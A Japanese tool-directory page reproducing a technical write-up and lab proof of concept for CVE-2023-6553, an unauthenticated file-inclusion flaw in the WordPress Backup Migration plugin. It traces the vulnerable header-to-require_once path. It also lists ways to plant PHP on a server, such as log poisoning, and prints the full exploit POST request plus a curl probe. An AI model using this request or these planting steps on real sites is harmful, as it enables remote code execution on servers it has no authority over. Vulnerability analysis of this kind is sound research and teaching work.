Skip to content
KitploitKITPLOIT
ツールブログ
Log in
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2023-6553 — CVE-2023-6553 の概念実証エクスプロイトと技術解説書です。これは、WordPress Backup Migration プラグイン <=1.3.7 において、リモートコード実行を可能にする未認証の PHP ファイルインクルード脆弱性に関するものです。 | Kitploit
ツール/GitHubGitHub/dungsocool/cve-2023-6553
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育
GitHubdungsocool/cve-2023-6553

CVE-2023-6553

CVE-2023-6553 の概念実証エクスプロイトと技術解説書です。これは、WordPress Backup Migration プラグイン <=1.3.7 において、リモートコード実行を可能にする未認証の PHP ファイルインクルード脆弱性に関するものです。

リポジトリを見る
81ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2023-6553

RCEに至るPHPファイルインクルージョン — Backup Migration プラグイン

プラグイン: Backup Migration (backup-backup) ≤ 1.3.7

CVSS: 9.8 (Critical)

CWE: CWE-98 — Include/Requireステートメントにおけるファイル名の不適切な制御

認証要件: なし

影響: リモートコード実行(RCE)


1. この脆弱性とは何か?

Backup Migration は、ユーザーがバックアップを作成するのに役立つ、比較的人気のあるWordPressプラグインです(アクティブインストール数は約90,000以上)。バックアップ処理中、プラグインはバックグラウンドで backup-heart.php というファイルを実行しています。このファイルは、どのディレクトリをバックアップする必要があるか、設定ファイルがどこにあるかなどの設定情報をHTTPヘッダー経由で受け取ります。

問題は、このファイルがクライアントから送信されたHTTPヘッダーを完全に信頼し、ヘッダー値をそのままファイルパスに取り込み、そのパスから require_once() を使用してファイルを読み込むという点にあります。攻撃者は、悪意のあるPHPコードを含むディレクトリを指す Content-Dir ヘッダーを送信するだけで済みます → サーバーは自動的にそのファイルをインクルードして実行します。

注目すべき点は、backup-heart.php ファイルが認証を必要としないことです — リクエストメソッドがPOSTかどうかだけをチェックし、nonceやユーザー権限は一切検証しません。インターネット上の誰でもリクエストを送信できます。

⇒ これはゼロクリックの脆弱性です。

属性値
CVE IDCVE-2023-6553
CVSSスコア9.8 (Critical)
プラグインbackup-backup (Backup Migration) ≤ 1.3.7
認証不要
ユーザー操作なし(ゼロクリック)
修正版バージョン 1.3.8

2. 背景知識

PHPにおけるファイルインクルージョン

PHPには、実行中のプログラムに他のPHPファイルをインクルードするための include()、require()、require_once() などの関数があります。これらの関数に渡されるファイルパスが、検証なしにユーザー入力から来る場合、攻撃者はサーバーに任意のファイルをインクルードさせることができます:

  • LFI(ローカルファイルインクルージョン): サーバー上に存在するファイルを読み込む — 例えば、PHPコードで「汚染」されたログファイルなど。
  • RFI(リモートファイルインクルージョン): 外部サーバーからファイルを読み込む — allow_url_include=On が必要(通常はデフォルトで無効)。

このCVEはLFIに分類されます — 攻撃者は require_once() に渡すパスを制御し、サーバー上に書き込んだPHPファイルを指し示します。

HTTPヘッダーはなぜ危険なのか?

多くの開発者は、HTTPヘッダーがサーバーとクライアントだけが知る「内部」のメタデータだと考えています。実際には、攻撃者がヘッダーの内容を100%制御できます — 任意のヘッダー名と値を設定できます。ヘッダーを信頼することはフォーム入力を信頼することと同じで、検証が必須です。

define() とPHP定数

define('NAME', $value) は、アプリケーション全体で使用される定数を作成します。一度 define されると、値は変更できません。$value が攻撃者由来の場合、その定数を使用するすべての場所が影響を受けます。

3. ソースコード分析 — 脆弱性はどこから生じるのか?

ステップ1: シンクの特定

まずgrepを使用して、プラグイン全体のすべての require および include 文を検索しました:

grep -rn "require\|include" includes/

image.png

検索結果には多数のrequire/include呼び出しが含まれていました。確認したところ、ほとんどは banner/misc.php と banner/views/index.php 内の include_once 呼び出しで、これらはハードコードされたパスを持つ管理UIレンダリングコードに属しており、悪用は不可能です。

しかし、backup-heart.php の中の2行が目に留まりました:

includes/backup-heart.php:64:   define('BMI_INCLUDES', BMI_ROOT_DIR . 'includes');
includes/backup-heart.php:118:  require_once BMI_INCLUDES . '/bypasser.php';

118行目は定数 BMI_INCLUDES を require_once で使用しています — この定数がハードコードされていれば安全です。しかし64行目を見上げると、BMI_INCLUDES は別の定数 BMI_ROOT_DIR から構築されていることがわかりました。そこでさらに追跡が必要です:BMI_ROOT_DIR はどこで値が代入されるのでしょうか?

再度grepを使用して追跡しました:

grep -n "BMI_ROOT_DIR" includes/backup-heart.php

結果:

image.png

Line 62: define('BMI_ROOT_DIR', $fields['content-dir']);
Line 64: define('BMI_INCLUDES', BMI_ROOT_DIR . 'includes');

62行目は、BMI_ROOT_DIR が $fields['content-dir'] から値を取得することを示しています。これは固定値ではなく変数です — ファイルを開いて $fields が何を含むのか確認する必要があります。

ステップ2: ソースコードの調査 — $fieldsはどこから来るのか?

backup-heart.php をVS Codeで開き、62行目を確認しました:

// Line 62
define('BMI_ROOT_DIR', $fields['content-dir']);

// Line 64
define('BMI_INCLUDES', BMI_ROOT_DIR. 'includes');

image.png

$fields['content-dir'] がそのまま define() に入っていることがはっきりと確認できます。次に、$fields 変数がどこで代入されているかを特定する必要があります:

// Lines 7-9: Only checks POST method
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
    exit;
}

// Lines 30-33: Reads ALL HTTP headers from the request
if (isFunctionEnabled('getallheaders')) {
    $fields= getallheaders();
}

// Lines 42-46: Lowercases header names
foreach ($fieldsas $key=> $value) {
    $buffer= $value;
    unset($fields[$key]);
    $fields[strtolower($key)] = $value;
}

image.png

image.png

この時点で、根本原因は極めて明確になります:$fields は getallheaders() で取得したすべてのHTTPヘッダーを保持しており、クライアントが完全に制御できます。wp_verify_nonce() も current_user_can() も有効なパスのチェックもありません — POSTメソッドを検証するだけで、ヘッダーを直接読み込んでいます。

ステップ3: 攻撃フローの概要

Attacker sends POST request with header Content-Dir: /path/to/attacker/
    ↓
getallheaders() reads raw headers → $fields['content-dir'] = "/path/to/attacker/"
    ↓
define('BMI_ROOT_DIR', "/path/to/attacker/")   ← no validation
    ↓
define('BMI_INCLUDES', "/path/to/attacker/includes")
    ↓
require_once "/path/to/attacker/includes/bypasser.php"   ← executes PHP
    ↓
Attacker code runs with www-data privileges → RCE

根本原因のまとめ: HTTPヘッダー → define() → require_once()、その間に検証ステップは一切ありません。

ステップ4: Xdebugによるデバッグ

攻撃フローを視覚的に確認するために、Xdebug + VS Codeを使用しました。backup-heart.php の62行目と118行目に2つのブレークポイントを設定し、curlを使用してエクスプロイトリクエストを送信しました。

ブレークポイント1 — 62行目:

デバッガはまさに define('BMI_ROOT_DIR', $fields['content-dir']) のところで一時停止しました。Variablesパネルで $fields 変数を展開すると、22個の要素を持つ配列が表示されました — クライアントが送信したすべてのHTTPヘッダーが含まれています。具体的には:

  • content-dir = "/tmp/bmi/" — これはまさにヘッダー経由で送信された値で、直接 BMI_ROOT_DIR 定数に代入されます。
  • content-abs = "/var/www/html/"、content-configdir = "/tmp/bmi/"、content-backups = "/tmp/bmi/back..." — すべて攻撃者によって制御されています。

content-dir が define() に渡される前に、検証やフィルタリングのステップは一切適用されていません。

image.png

ブレークポイント2 — 118行目:

F5を押すと、デバッガは require_once BMI_INCLUDES . '/bypasser.php' で一時停止しました。その状態を確認します:

  • Variablesパネル: $fields は依然として content-dir = "/tmp/bmi/" を保持しています — 62行目と118行目の間で値が変更されていないことを証明しています。
  • Call Stackパネル: {main} backup-heart.php 118:1 と表示されています — コードはファイルの先頭からこの地点まで一直線に実行され、ミドルウェアや認証チェックをすべてバイパスしています。
  • 118行目は /tmp/bmi/includes/bypasser.php パスのファイルをインクルードしようとしています — その内容は攻撃者が制御しています。

image.png

デバッグの結果は、ステップ3で分析したフローを完璧に裏付けています:HTTPヘッダーは getallheaders() → define() → require_once() の流れで、間に検証は一切ありません。

4. 攻撃チェーン

ステップ1 — サーバーへのPHPファイルの配置

インクルードを発動させる前に、標的サーバー上にPHPファイルが既に存在している必要があります。一般的な手法は以下のとおりです:

手法概要
ログポイズニングUser-Agent内に <?php ... ?> を含むリクエストを送信 → コードがアクセスログに書き込まれる → ログファイルをインクルード
PHPセッション/tmp/sess_xxx にあるセッションファイルにPHPコードを書き込む
アップロードチェーンWordPressのメディア/アバターアップロード機能を利用してファイルをアップロードする
プラグインエラーログプラグインが自身のエラーログを書き込む — PHPコードを含むエラーを発生させるとコードがログファイルに書き込まれる

ステップ2 — 1回のPOSTリクエストによるインクルードの発動

Content-Dir をペイロードを含むディレクトリに向けたリクエストを送信します。サーバーは自動的に攻撃者のファイルを require して実行します。

POST /wp-content/plugins/backup-backup/includes/backup-heart.php HTTP/1.1
Host: target.com
Content-Dir: /tmp/bmi/
Content-Abs: /var/www/html/
Content-Content: /var/www/html/wp-content/
Content-Configdir: /tmp/bmi/
Content-Backups: /tmp/bmi/backups/
Content-Safelimit: 1
Content-Browser: true
Content-Identy: 1
Content-Manifest: 1
Content-Rev: 1
Content-Name: test
Content-Start: 1
Content-Filessofar: 0
Content-Total: 1
Content-Bmitmp: /tmp/
Content-It: 1
Content-Dbit: 1
Content-Dblast: 1
Content-Url: http://target.com/

backup-heart.php は他の define() 呼び出しでもこれらのヘッダーを使用するため、すべての Content-* ヘッダーを指定する必要があります — ヘッダーが欠落するとPHPの警告が発生し、require_once に到達する前に実行が中止される可能性があります。

5. PoC — ラボ環境でのエクスプロイト

5.1 エンドポイントが開いているか確認する

curl -s -o /dev/null -w "%{http_code}" -X POST \
  "http://localhost:8181/wp-content/plugins/backup-backup/includes/backup-heart.php"

200 が返ります — エンドポイントは公開されており、認証を求められません。

ツールをダウンロード